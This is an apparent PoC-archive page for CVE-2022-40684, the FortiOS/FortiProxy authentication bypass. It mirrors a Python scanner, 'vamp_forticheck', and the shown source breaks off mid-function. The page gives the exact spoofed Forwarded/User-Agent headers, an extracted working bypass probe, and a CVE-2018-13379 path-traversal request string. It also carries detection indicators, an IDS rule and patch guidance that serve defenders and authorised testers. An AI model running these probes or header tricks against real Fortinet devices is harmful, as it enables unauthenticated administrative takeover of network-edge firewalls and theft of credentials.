PoC Archive PoC Archive
CVE-2022-40684 category: network CVSS 9.8 (CRITICAL) KEV Ransomware EPSS 100%
Unverified

CVE-2022-40684 — FortiOS / FortiProxy / FortiSwitchManager Authentication Bypass (vamp-forticheck Scanner)

Published: 2026-07-31 • Researcher: belky-me (VampSecure Labs)

Target software Fortinet FortiOS (FortiGate firewalls), FortiProxy web proxy, FortiSwitchManager web management interface / administrative REST API
Affected versions FortiOS 7.0.0–7.0.6 and 7.2.0–7.2.1; FortiProxy 7.0.0–7.0.6 and 7.2.0–7.2.1; FortiSwitchManager 7.2.0–7.2.1
Status Patched (FortiOS ≥7.2.2, ≥7.0.7; FortiProxy ≥7.2.1, ≥7.0.7; FortiSwitchManager ≥7.2.1)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV Ransomware EPSS 100%

Confirmed exploited in the wild. Added to CISA KEV 2022-10-11. Federal remediation deadline 2022-11-01.

EPSS 100.0% · 100th percentile

Severity
Critical
CVE
CVE-2022-40684
Category
network
Affected product
Fortinet FortiOS (FortiGate firewalls), FortiProxy web proxy, FortiSwitchManager web management interface / administrative REST API
Affected versions
FortiOS 7.0.0–7.0.6 and 7.2.0–7.2.1; FortiProxy 7.0.0–7.0.6 and 7.2.0–7.2.1; FortiSwitchManager 7.2.0–7.2.1
Disclosed
2026-07-31
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-07-31
Last Updated2026-07-31
Author / Researcherbelky-me (VampSecure Labs)
CVE / AdvisoryCVE-2022-40684
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3)
StatusPatched (FortiOS ≥7.2.2, ≥7.0.7; FortiProxy ≥7.2.1, ≥7.0.7; FortiSwitchManager ≥7.2.1)
Tagsfortios, fortiproxy, fortiswitchmanager, authentication-bypass, rest-api, header-injection, loopback-spoofing, fortigate, ssl-vpn, scanner
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiOS (FortiGate firewalls), FortiProxy web proxy, FortiSwitchManager web management interface / administrative REST API
Versions AffectedFortiOS 7.0.0–7.0.6 and 7.2.0–7.2.1; FortiProxy 7.0.0–7.0.6 and 7.2.0–7.2.1; FortiSwitchManager 7.2.0–7.2.1
Language / PlatformPython 3 (AsyncIO/aiohttp scanner); target is embedded FortiOS on Fortinet network appliances
Authentication RequiredNo
Network Access RequiredYes — HTTPS access to the management interface / REST API

Summary

CVE-2022-40684 is an authentication-bypass vulnerability in the web management interface of FortiOS, FortiProxy, and FortiSwitchManager that allows an unauthenticated remote attacker to access the administrative REST API. The affected firmware fails to validate certain HTTP headers and treats requests carrying a Forwarded: for="[127.0.0.1]" header as originating from the trusted loopback interface, skipping credential checks. It was exploited in the wild within days of disclosure in October 2022 (and was added to the CISA KEV catalog). The tool mirrored here — vamp_forticheck.py by belky-me (VampSecure Labs) — is an asynchronous multi-CVE scanner/audit tool that checks four critical Fortinet CVEs; its CVE-2022-40684 probe sends the spoofed Forwarded header with a User-Agent: Report Runner value to /api/v2/cmdb/system/admin and flags a host as vulnerable when the endpoint answers with an HTTP 200 admin-data payload without credentials.

Vulnerability Details

Root Cause

The FortiOS HTTP/HTTPS management daemon trusted the client-supplied Forwarded (or X-Forwarded-For) header when determining the origin of a request. By setting Forwarded: for="[127.0.0.1]" (optionally with by="[127.0.0.1]" and a host= reflecting the target hostname), an unauthenticated attacker could make the firmware believe the request originated from its own loopback interface. Because loopback-originated traffic was exempted from authentication middleware, the request was processed as if it came from an already-authenticated administrative context. The bug lives in the interface that proxies the administrative UI to the REST API, and the User-Agent: Report Runner value matches the value observed in the original in-the-wild exploitation and in Fortinet samples.

Attack Vector

An unauthenticated attacker sends an HTTPS request to the administrative REST API endpoint of an affected device, for example a GET to /api/v2/cmdb/system/admin, carrying the crafted headers:

Output
Forwarded: for="[127.0.0.1]";by="[127.0.0.1]";host="<target-host>"
User-Agent: Report Runner
Content-Type: application/json
Accept: application/json

No credentials are required. The scanner in this folder sends a read-only probe so it can confirm the bypass without writing state; a real attacker could just as easily send state-changing requests (create an admin account, upload/modify an SSH key, change firewall policies).

Impact

Complete unauthenticated administrative control of the Fortinet device. An attacker can read and modify the full device configuration, add administrative accounts, install SSH keys for persistent access, disable or tamper with security controls, and use the perimeter device as a pivot point into the internal network. Because these devices typically sit at the network edge, the practical impact is a full network boundary compromise. CVE-2022-40684 was observed being actively exploited in the wild within days of the advisory and is listed in the CISA Known Exploited Vulnerabilities catalog.

Environment / Lab Setup

Output
OS:          Linux (any modern distro) with Python 3.9+
Target:      FortiOS 7.0.0–7.0.6 or 7.2.0–7.2.1 (FortiGate), FortiProxy,
             or FortiSwitchManager management interface exposed over HTTPS
Attacker:    Attacker host running the scanner (network-reachable to the target)
Tools:       vamp_forticheck.py (this folder), aiohttp, rich

Setup Steps

Shell script
1
2
3
4
5
6
7
8
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

python3 vamp_forticheck.py https://fortigate.example.com

python3 vamp_forticheck.py -f scope.txt --concurrency 5 \
    --output-json report.json --output-html report.html

Proof of Concept

See vamp_forticheck.py (full, unmodified) and upstream-README.md in this folder — mirrored from belky-me/vamp-forticheck. Verified before ingestion: the full 1403-line script was read end to end. It genuinely implements an async multi-CVE scanner with a working non-destructive CVE-2022-40684 probe, not a stub or dropper. This is an audit/scanner tool rather than a dedicated single-exploit PoC, so the proof of concept here is the tool’s built-in 40684 probe.

Step-by-Step Reproduction

  1. Install dependencies — create a venv and install aiohttp and rich (see requirements.txt).

  2. Run the scanner against a single target:

    Shell script
    1
    
    python3 vamp_forticheck.py https://<target-ip-or-host>
  3. Observe the 40684 probe result — the tool reports VULNERABLE for CVE-2022-40684 when the bypass probe succeeds. Internally the probe (in CVEChecker.check_cve_2022_40684) performs a GET to /api/v2/cmdb/system/admin with the spoofed Forwarded header and User-Agent: Report Runner, and confirms the bypass when it gets HTTP 200 with admin-configuration structure ("results", "admin", or "status" in the body).

  4. Post-confirmation enumeration — if CVE-2022-40684 is confirmed, the tool’s ExposureAnalyzer lists additional unauthenticated REST API endpoints reachable with the same bypass header (/api/v2/cmdb/system/interface, /api/v2/cmdb/vpn.ssl/settings, /api/v2/cmdb/user/local, etc.).

Exploit Code

The full implementation is in vamp_forticheck.py in this folder. The CVE-2022-40684 probe logic, minimally extracted:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import asyncio, aiohttp
from urllib.parse import urlparse

async def probe_40684(session: aiohttp.ClientSession, base_url: str) -> dict:
    host = urlparse(base_url).hostname or base_url
    bypass_headers = {
        "User-Agent": "Report Runner",
        "Forwarded": f'for="[127.0.0.1]";by="[127.0.0.1]";host="{host}"',
        "Content-Type": "application/json",
        "Accept": "application/json",
    }
    async with session.get(
        f"{base_url}/api/v2/cmdb/system/admin",
        headers=bypass_headers,
        allow_redirects=False,
        ssl=False,
    ) as r:
        if r.status == 200:
            body = await r.text(errors="replace")
            if any(k in body for k in ('"results"', '"admin"', '"status"')):
                return {"cve": "CVE-2022-40684", "confirmed": True,
                        "evidence": "HTTP 200 with admin data on unauthenticated request"}
        return {"cve": "CVE-2022-40684", "confirmed": False,
                "evidence": f"HTTP {r.status}"}

Expected Output

Output
python3 vamp_forticheck.py https://192.0.2.10

  [*] Objetivos: 1  ·  Concurrencia: 10  ·  Timeout: 10s

  ┌─ Resultados del Escaneo FortiOS ─────────────┐
  │ Objetivo        FortiOS  Versión  CVEs Confirm.  Riesgo   Score │
  │ 192.0.2.10      SÍ       7.2.1    CVE-2022-40684  CRITICAL 9.8  │
  └──────────────────────────────────────────────┘

  ⚠ HALLAZGOS CRÍTICOS
  ► CVE-2022-40684  CVSS 9.8
    FortiOS/FortiProxy — bypass de autenticación mediante petición HTTP manipulada
    Evidencia: HTTP 200 en /api/v2/cmdb/system/admin sin credenciales
    Impacto: Acceso administrativo completo sin autenticación

Detection & Indicators of Compromise

Output
GET /api/v2/cmdb/system/admin HTTP/1.1
Host: <fortinet-device>
Forwarded: for="[127.0.0.1]";by="[127.0.0.1]";host="<fortinet-device>"
User-Agent: Report Runner
Accept: application/json
  • Unauthenticated HTTP 200 responses from any /api/v2/* admin REST endpoint.
  • Requests carrying Forwarded: for="[127.0.0.1]" and/or User-Agent: Report Runner (the value seen in the original in-the-wild campaigns).
  • Sudden appearance of new admin accounts or new SSH keys on the device without a matching admin login event.
  • FortiOS logs / /var/log entries showing API access from external IPs without prior authentication.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2022-40684 FortiOS auth bypass probe";
  http_uri; content:"/api/v2/"; http_header; content:"Forwarded";
  content:"127.0.0.1"; http_header; content:"User-Agent"; content:"Report Runner";
  sid:90040684;)

Remediation

ActionDetail
PatchUpgrade FortiOS to 7.0.7 or 7.2.2 (or later); FortiProxy to 7.0.7 or 7.2.2 (or later); FortiSwitchManager to 7.2.2 (or later). CVE-2022-40684 was patched by Fortinet in October 2022 (FG-IR-22-377).
WorkaroundIf an immediate upgrade is not possible, restrict access to the management interface: bind HTTPS administration to trusted source IPs only (no internet exposure), or block management-plane access at an upstream firewall.
Config HardeningDisable the HTTP/HTTPS administrative interface on WAN-facing interfaces (config system interface / set allowaccess), enforce management over dedicated out-of-band or VPN-only channels, enable audit logging on the device, and monitor for the header signature above.

References

Notes

Verified before ingestion this session: the upstream repository (https://github.com/belky-me/vamp-forticheck) was cloned directly (latest commit 59fb139 dated 2026-07-31, tagged in the commit message as v1.3) and its full contents read — vamp_forticheck.py (1403 lines), README.md, requirements.txt, and .gitignore. The script was confirmed to be a genuine, working asynchronous scanner rather than a stub, template, or phantom PoC: it implements a real CVE-2022-40684 probe (CVEChecker.check_cve_2022_40684) that sends the Forwarded: for="[127.0.0.1]" + User-Agent: Report Runner header bypass to /api/v2/cmdb/system/admin and confirms on HTTP 200 with admin data; a non-destructive CVE-2018-13379 path-traversal probe (against /lib/x86_64-linux-gnu/libssl.so.1.0.0 rather than the real credential file); version-range matching for CVE-2023-27997 (XORtigate) and CVE-2024-21762; a scope validator, risk-scoring model, and JSON/HTML report generators. The CVE set covered is CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, and CVE-2024-21762 (note: some secondary references cite the 40684 tool as covering “CVE-2021-13379 / CVE-2018-27997 / CVE-2018-21762”, which are typo variants of the correct identifiers). The four files copied into this folder (vamp_forticheck.py, requirements.txt, .gitignore, upstream-README.md) are byte-for-byte identical to the upstream clone (verified via diff and md5sum); no paraphrasing or rewriting was performed.

This entry is filed under CVE-2022-40684 because that is the tool’s most impactful and the primary documented probe. The tool is an audit/scanner rather than a single dedicated exploit. Caveat on provenance: the author, belky-me (VampSecure Labs / VampSecure Studios), is a newer GitHub account (created 2026-04, 0 followers at review time); the code is genuine and self-consistent, but the author is unestablished, so treat this as a community scanner rather than an authoritative research artifact. The upstream repository declares MIT license in its README and publishes a requirements.txt (aiohttp, rich); no LICENSE file is present upstream, so none is mirrored here. As of this entry (2026-07-31), CVE-2022-40684 is patched in current FortiOS/FortiProxy/FortiSwitchManager releases but remains a high-value target because many edge devices are still unpatched; it was added to the CISA KEV catalog in 2022 due to confirmed in-the-wild exploitation.

vamp_forticheck.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
vamp_forticheck.py — Escáner de Vulnerabilidades y Exposición FortiOS
=======================================================================
VampSecure Labs · VampSecure Studios
Para Uso Exclusivo en Pruebas de Penetración Autorizadas — v1.0

DESCRIPCIÓN GENERAL
-------------------
Herramienta de auditoría de seguridad de alto rendimiento para dispositivos
Fortinet que ejecutan FortiOS (cortafuegos FortiGate, gateway SSL-VPN, interfaz
de administración web). Confirma la exposición real a CVEs críticos mediante
sondas pasivas y semi-activas, sin comprometer la integridad del servicio objetivo.

ARQUITECTURA DE EJECUCIÓN (3 fases por objetivo)
-------------------------------------------------
  Fase 1 — Detección de banner y versión (completamente pasiva)
    Realiza peticiones GET a /remote/login y /login para identificar la presencia
    de FortiOS mediante indicadores en el HTML y las cabeceras HTTP, extrayendo
    la versión del firmware con cuatro patrones regex distintos.

  Fase 2 — Verificación de CVEs (semi-activa, no destructiva)
    Lanza sondas específicas para confirmar cada vulnerabilidad:
    · CVE-2018-13379: Traversal de ruta hacia un binario público del sistema de
      ficheros (/lib/x86_64-linux-gnu/libssl.so). Si responde con contenido
      binario, confirma el vector SIN extraer el fichero de credenciales real
      (/dev/cmdb/sslvpn_websession).
    · CVE-2022-40684: Envío de la cabecera HTTP 'Forwarded: for=127.0.0.1'
      al endpoint /api/v2/cmdb/system/admin. Una respuesta 200 con datos de
      administrador confirma el bypass de autenticación sin realizar escrituras.
    · CVE-2023-27997 / CVE-2024-21762: Comparación de la versión detectada
      contra los rangos afectados documentados (no requiere sonda de red).
    · INFO-DISCLOSURE: Sondeo de /api/v2/monitor/system/status para detectar
      exposición de versión sin autenticación.

  Fase 3 — Análisis de vectores de exposición secundarios
    Solo se activa si FortiOS es confirmado o hay CVEs encontrados:
    · Enumera endpoints de la API REST accesibles con el bypass de CVE-2022-40684.
    · Audita cabeceras de seguridad (HSTS, X-Frame-Options).
    · Detecta WAF o CDN upstream.
    · Verifica si el portal SSL-VPN está expuesto públicamente.

MODELO DE PUNTUACIÓN DE RIESGO
-------------------------------
  score  = Σ (CVSS_base × factor_confirmación) + puntos_por_vectores_secundarios
  factor = 1.0 si confirmed=True, 0.55 si method=version_match
  niveles: CRITICAL ≥ 9.0 · HIGH ≥ 7.0 · MEDIUM ≥ 4.0 · LOW > 0 · INFO = 0

CONCURRENCIA
------------
  asyncio + aiohttp con un asyncio.Semaphore configurable (--concurrency).
  Un TCPConnector compartido reutiliza conexiones HTTP para reducir latencia.
  Los errores en un objetivo son aislados y no interrumpen el lote completo.

DEPENDENCIAS
------------
  aiohttp  >= 3.9.0   — Cliente HTTP asíncrono con soporte SSL opcional
  rich     >= 13.7.0  — Salida de consola con formato enriquecido y tablas

AUTORÍA
-------
  © VampSecure Studios — VampSecure Labs Security Research Division
  Todos los derechos reservados. Uso exclusivo en entornos autorizados.
"""

import asyncio
import aiohttp
import argparse
import json
import ipaddress
import sys
import re
from pathlib import Path
from datetime import datetime, timezone
from dataclasses import dataclass, field, asdict
from typing import Optional, List, Dict, Tuple
from urllib.parse import urlparse

from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn
from rich import box

console = Console()

# Cabecera ASCII impresa al inicio de cada ejecución
BANNER = r"""
  ____   ____    _    __  __ ____  _____ ____ _   _ ____  _____   _        _    ____ ____
 \ \ / / _  |  / \  |  \/  |  _ \/ ____/ ___| | | |  _ \| ____| | |      / \  | __ ) ___|
  \ V / (_| | / _ \ | |\/| | |_) \___ \| |___| | | | |_) |  _|   | |     / _ \ |  _ \___ \
   | |  \__, |/ ___ \| |  | |  __/ ___) |___  | |_| |  _ <| |___  | |___ / ___ \| |_) |__) |
   |_|     /_/_/   \_|_|  |_|_|   |____/\____|\___/|_| \_|_____| |_____/_/   \_|____/____/
          by VampSecure Studios · vamp-forticheck v1.0 · FortiOS Vulnerability Scanner
          ─────────────────────────────────────────────────────────────────────────────
          USO EXCLUSIVO EN AUDITORÍAS AUTORIZADAS · El uso no autorizado es ilegal
"""

# =============================================================================
# BASE DE DATOS DE CVEs FORTIOS
# =============================================================================
# Estructura por entrada:
#   description     : Descripción legible del impacto
#   cvss            : Puntuación CVSS v3 base
#   severity        : Nivel de severidad NVD (CRITICAL / HIGH / MEDIUM / LOW)
#   component       : Componente de FortiOS afectado
#   affected_versions: Lista de rangos (version_minima, version_maxima) como tuplas
#                      de tres enteros (major, minor, patch), ambos extremos incluidos
#   mitigation      : Acción correctiva recomendada para el cliente
# =============================================================================
FORTIOS_CVE_DB: Dict = {
    "CVE-2018-13379": {
        "description": "FortiOS SSL-VPN — traversal de ruta no autenticado que expone el fichero de sesiones con credenciales en texto plano",
        "cvss": 9.8,
        "severity": "CRITICAL",
        "component": "SSL-VPN Web Portal",
        "affected_versions": [
            ((5, 6, 3), (5, 6, 7)),
            ((6, 0, 0), (6, 0, 4)),
        ],
        "mitigation": "Actualizar a FortiOS 5.6.8 / 6.0.5 o superior",
    },
    "CVE-2022-40684": {
        "description": "FortiOS/FortiProxy — bypass de autenticación mediante petición HTTP manipulada a la API REST de administración",
        "cvss": 9.8,
        "severity": "CRITICAL",
        "component": "Admin Web UI / REST API",
        "affected_versions": [
            ((7, 0, 0), (7, 0, 6)),
            ((7, 2, 0), (7, 2, 1)),
        ],
        "mitigation": "Actualizar a FortiOS 7.0.7 / 7.2.2 o superior; deshabilitar la interfaz HTTP/HTTPS de administración",
    },
    "CVE-2023-27997": {
        "description": "FortiOS SSL-VPN — desbordamiento de heap pre-autenticación que puede permitir ejecución remota de código (XORtigate)",
        "cvss": 9.2,
        "severity": "CRITICAL",
        "component": "SSL-VPN",
        "affected_versions": [
            ((6, 0, 0), (6, 0, 17)),
            ((6, 2, 0), (6, 2, 15)),
            ((6, 4, 0), (6, 4, 12)),
            ((7, 0, 0), (7, 0, 9)),
            ((7, 2, 0), (7, 2, 4)),
        ],
        "mitigation": "Actualizar a FortiOS 6.4.13 / 7.0.10 / 7.2.5 o superior; deshabilitar SSL-VPN como medida temporal",
    },
    "CVE-2024-21762": {
        "description": "FortiOS SSL-VPN — escritura fuera de límites no autenticada en el componente SSL-VPN; activamente explotada en la naturaleza",
        "cvss": 9.6,
        "severity": "CRITICAL",
        "component": "SSL-VPN",
        "affected_versions": [
            ((6, 0, 0), (6, 0, 17)),
            ((6, 2, 0), (6, 2, 15)),
            ((6, 4, 0), (6, 4, 14)),
            ((7, 0, 0), (7, 0, 13)),
            ((7, 2, 0), (7, 2, 6)),
            ((7, 4, 0), (7, 4, 2)),
        ],
        "mitigation": "Actualizar inmediatamente; deshabilitar SSL-VPN como mitigación temporal urgente",
    },
}

# =============================================================================
# MODELO DE DATOS
# =============================================================================

@dataclass
class ScanResult:
    """
    Contenedor de resultados para un objetivo escaneado.

    Campos
    ------
    target              : URL o IP del objetivo tal como fue introducido
    timestamp           : Fecha/hora de inicio del escaneo en UTC ISO-8601
    is_fortios          : True si se detectaron indicadores de FortiOS
    detected_version    : Versión de firmware extraída (ej. '7.0.5') o None
    banner              : Valor de la cabecera Server: de la primera respuesta
    cve_findings        : Lista de dicts con resultados de cada verificación CVE
    exposure_vectors    : Lista de dicts con vectores de exposición secundarios
    mitigations_detected: Mitigaciones activas detectadas (WAF, parches, etc.)
    risk_score          : Puntuación de riesgo compuesta (0.0–10.0)
    risk_level          : Nivel semáforo: CRITICAL / HIGH / MEDIUM / LOW / INFO
    error               : Mensaje de error de red o 'OUT_OF_SCOPE' si aplica
    """
    target: str
    timestamp: str = field(default_factory=lambda: datetime.now(timezone.utc).isoformat())
    is_fortios: bool = False
    detected_version: Optional[str] = None
    banner: Optional[str] = None
    cve_findings: List[Dict] = field(default_factory=list)
    exposure_vectors: List[Dict] = field(default_factory=list)
    mitigations_detected: List[str] = field(default_factory=list)
    risk_score: float = 0.0
    risk_level: str = "UNKNOWN"
    error: Optional[str] = None


# =============================================================================
# VALIDADOR DE ALCANCE (SCOPE)
# =============================================================================

class ScopeValidator:
    """
    Verifica que un objetivo esté dentro del alcance definido antes de lanzar
    cualquier sonda de red.

    El fichero de alcance (scope.txt) admite tres formatos por línea:
      · Rango CIDR     → 192.168.1.0/24
      · Wildcard       → *.ejemplo.com   (cualquier subdominio de ejemplo.com)
      · Host exacto    → vpn.ejemplo.com  o  10.0.0.1

    Las líneas que comienzan con '#' se ignoran como comentarios.

    Si no se proporciona fichero de alcance, todos los objetivos son válidos
    (el auditor acepta la responsabilidad total sobre el targeting).
    """

    def __init__(self, scope_file: Optional[str] = None):
        self.entries: set = set()
        # Si no hay fichero de scope, todas las IPs pasan la validación
        self.active = scope_file is not None
        if scope_file:
            self._load(scope_file)

    def _load(self, path: str):
        """Carga y normaliza las entradas del fichero de scope."""
        p = Path(path)
        if not p.exists():
            console.print(f"[bold red][!] Fichero de scope no encontrado: {path}[/bold red]")
            sys.exit(1)
        for line in p.read_text().splitlines():
            line = line.strip()
            if line and not line.startswith("#"):
                self.entries.add(line.lower())
        console.print(f"[cyan][i] Scope cargado: {len(self.entries)} entradas desde {path}[/cyan]")

    def is_in_scope(self, target: str) -> bool:
        """
        Retorna True si el objetivo está dentro del alcance definido.

        El método intenta las tres formas de validación en orden:
        1. Coincidencia exacta de hostname/IP
        2. Coincidencia de wildcard (la entrada empieza por '*.')
        3. Pertenencia a rango CIDR (solo si el objetivo es una IP válida)

        Parámetros
        ----------
        target : str  — URL completa o host/IP del objetivo

        Retorna
        -------
        bool  — True si en scope o si no hay fichero de scope activo
        """
        if not self.active:
            return True

        # Extraer solo el hostname de URLs como https://host:443/path
        parsed = urlparse(target if "://" in target else f"https://{target}")
        host = (parsed.hostname or target).lower()

        for entry in self.entries:
            if entry == host:
                return True
            # Wildcard: *.dominio.com cubre sub.dominio.com pero no dominio.com
            if entry.startswith("*.") and host.endswith(entry[1:]):
                return True
            # Comprobación CIDR: solo aplica si el objetivo es una IP válida
            try:
                if ipaddress.ip_address(host) in ipaddress.ip_network(entry, strict=False):
                    return True
            except ValueError:
                pass  # No es una IP — es un hostname, continuar

        return False


# =============================================================================
# DETECTOR DE VERSIÓN FORTIOS
# =============================================================================

class VersionDetector:
    """
    Detecta la presencia de FortiOS y extrae la versión de firmware mediante
    análisis pasivo del HTML de respuesta y las cabeceras HTTP.

    No realiza peticiones adicionales: trabaja con el contenido de las
    respuestas ya obtenidas en la Fase 1.

    Indicadores de presencia
    ------------------------
    Cadenas características encontradas en el HTML o cabeceras que identifican
    de forma inequívoca un dispositivo FortiOS.

    Patrones de versión
    -------------------
    Se prueban cuatro expresiones regulares en orden de especificidad:
    1. FortiXxx v/- seguido de X.Y.Z  (más fiable, del HTML de login)
    2. version: "X.Y.Z"              (respuestas JSON de la API)
    3. Atributo version en cabeceras HTTP personalizadas
    4. build NNNNN                   (número de build como fallback)
    """

    # Cadenas cuya presencia en HTML o cabeceras indica un dispositivo FortiOS
    INDICATORS = [
        "fgt_lang", "sslvpn", "FortiGate", "fortinet", "/remote/",
        "FortiNet", "SSL-VPN", "SSLVPN", "fgt-gui",
    ]

    # Patrones regex probados en orden — el primero que hace match gana
    VERSION_RE = [
        re.compile(r'[Ff]orti[A-Za-z]*[\s/v-]+(\d+\.\d+\.\d+)', re.I),
        re.compile(r'"version"\s*:\s*"(\d+\.\d+\.\d+)"', re.I),
        re.compile(r'version["\s:=]+["\']?(\d+\.\d+\.\d+)', re.I),
        re.compile(r'build\s+(\d{4,5})', re.I),
    ]

    @classmethod
    def detect(cls, content: str, headers: Dict) -> Tuple[bool, Optional[str]]:
        """
        Analiza el HTML y las cabeceras de una respuesta HTTP para detectar
        FortiOS y su versión.

        Parámetros
        ----------
        content : str   — Cuerpo de la respuesta HTTP (HTML o JSON)
        headers : Dict  — Cabeceras HTTP de la respuesta como diccionario

        Retorna
        -------
        Tuple[bool, Optional[str]]
          - bool           → True si se detectaron indicadores de FortiOS
          - Optional[str]  → Versión extraída ('7.0.5') o None si no encontrada
        """
        # Combinar contenido y cabeceras en una sola cadena para simplificar búsqueda
        combined = content + str(headers)
        is_forti = any(ind.lower() in combined.lower() for ind in cls.INDICATORS)

        version = None
        for rx in cls.VERSION_RE:
            m = rx.search(combined)
            if m:
                version = m.group(1)
                break

        return is_forti, version

    @staticmethod
    def parse_version(v: str) -> Optional[Tuple[int, int, int]]:
        """
        Convierte una cadena de versión 'X.Y.Z' en una tupla comparable (X, Y, Z).

        Retorna None si el formato no es válido, para evitar errores en
        la comparación con rangos afectados de la base de datos.

        Ejemplos
        --------
        '7.0.5' → (7, 0, 5)
        '6.4'   → (6, 4, 0)  ← tercer componente se asume 0
        'texto' → None
        """
        try:
            parts = v.split(".")
            return (
                int(parts[0]),
                int(parts[1]) if len(parts) > 1 else 0,
                int(parts[2]) if len(parts) > 2 else 0,
            )
        except (ValueError, IndexError):
            return None


# =============================================================================
# VERIFICADOR DE CVEs
# =============================================================================

class CVEChecker:
    """
    Realiza sondas de red específicas para confirmar la explotabilidad de
    cada CVE de forma no destructiva.

    Principio de diseño
    -------------------
    Todas las sondas están diseñadas para obtener evidencia de vulnerabilidad
    sin:
      · Extraer datos sensibles reales (credenciales, configuraciones)
      · Modificar el estado del dispositivo objetivo
      · Interrumpir o degradar el servicio

    Para CVEs basados en versión (CVE-2023-27997, CVE-2024-21762) no existe
    un método pasivo de confirmación, por lo que se usa comparación de versión
    con confirmed=False y method='version_match'.
    """

    def __init__(self, session: aiohttp.ClientSession, timeout: int = 10):
        """
        Parámetros
        ----------
        session : aiohttp.ClientSession  — Sesión HTTP compartida con el scanner principal
        timeout : int                    — Tiempo máximo de espera por petición en segundos
        """
        self.session = session
        self.to = aiohttp.ClientTimeout(total=timeout)

    async def check_cve_2018_13379(self, base_url: str) -> Dict:
        """
        Sonda el vector de traversal de ruta CVE-2018-13379.

        Método de prueba
        ----------------
        En lugar de solicitar /dev/cmdb/sslvpn_websession (fichero de sesiones
        con credenciales), se solicita /lib/x86_64-linux-gnu/libssl.so.1.0.0,
        una librería compartida pública del sistema que confirma el traversal
        sin exponer datos de usuarios.

        Un dispositivo vulnerable responde con HTTP 200 y Content-Type
        application/octet-stream (binario), lo que confirma que la ruta de
        traversal funciona. Un dispositivo parcheado devuelve 403 o 404.

        Parámetros
        ----------
        base_url : str  — URL base del objetivo (ej. https://10.0.0.1)

        Retorna
        -------
        Dict con campos:
          cve, confirmed (bool), method, evidence (str), impact (str),
          severity, cvss, description
        """
        resultado = {
            "cve": "CVE-2018-13379",
            "confirmed": False,
            "method": "active_probe",
            "evidence": None,
            "impact": None,
            "severity": "CRITICAL",
            "cvss": 9.8,
            "description": FORTIOS_CVE_DB["CVE-2018-13379"]["description"],
        }

        # Ruta de sonda: librería pública del SO, no datos de sesión
        ruta_sonda = "/remote/fgt_lang?lang=/../../../../../../../lib/x86_64-linux-gnu/libssl.so.1.0.0"

        try:
            async with self.session.get(
                f"{base_url}{ruta_sonda}",
                timeout=self.to,
                allow_redirects=False,  # No seguir redirecciones — un 302 ya indica login
                ssl=False,
            ) as r:
                content_type = r.headers.get("Content-Type", "")

                if r.status == 200 and ("octet-stream" in content_type or "application/" in content_type):
                    # Leer solo los primeros 128 bytes para confirmar contenido binario
                    cabeza = await r.content.read(128)
                    if cabeza:
                        resultado["confirmed"] = True
                        resultado["evidence"] = (
                            f"HTTP 200 en ruta de traversal; Content-Type: {content_type}; "
                            f"Bytes recibidos: {len(cabeza)}"
                        )
                        resultado["impact"] = (
                            "El fichero de sesión SSL-VPN (/dev/cmdb/sslvpn_websession) "
                            "con credenciales en texto plano puede ser extraído sin autenticación"
                        )
                elif r.status == 200:
                    # Algunos dispositivos responden 200 con HTML de error — no es traversal real
                    cuerpo = await r.text(errors="replace")
                    if "login" not in cuerpo.lower() and len(cuerpo) > 200:
                        resultado["confirmed"] = True
                        resultado["evidence"] = "HTTP 200 con contenido inesperado en ruta de traversal"
                        resultado["impact"] = "Traversal de ruta confirmado; extracción de credenciales posible"
                else:
                    resultado["evidence"] = f"HTTP {r.status} — objetivo posiblemente parcheado o sin SSL-VPN"

        except asyncio.TimeoutError:
            resultado["evidence"] = "Timeout — objetivo inaccesible o filtrado"
        except Exception as e:
            resultado["evidence"] = f"Error de red: {str(e)[:80]}"

        return resultado

    async def check_cve_2022_40684(self, base_url: str) -> Dict:
        """
        Sonda el bypass de autenticación CVE-2022-40684.

        Método de prueba
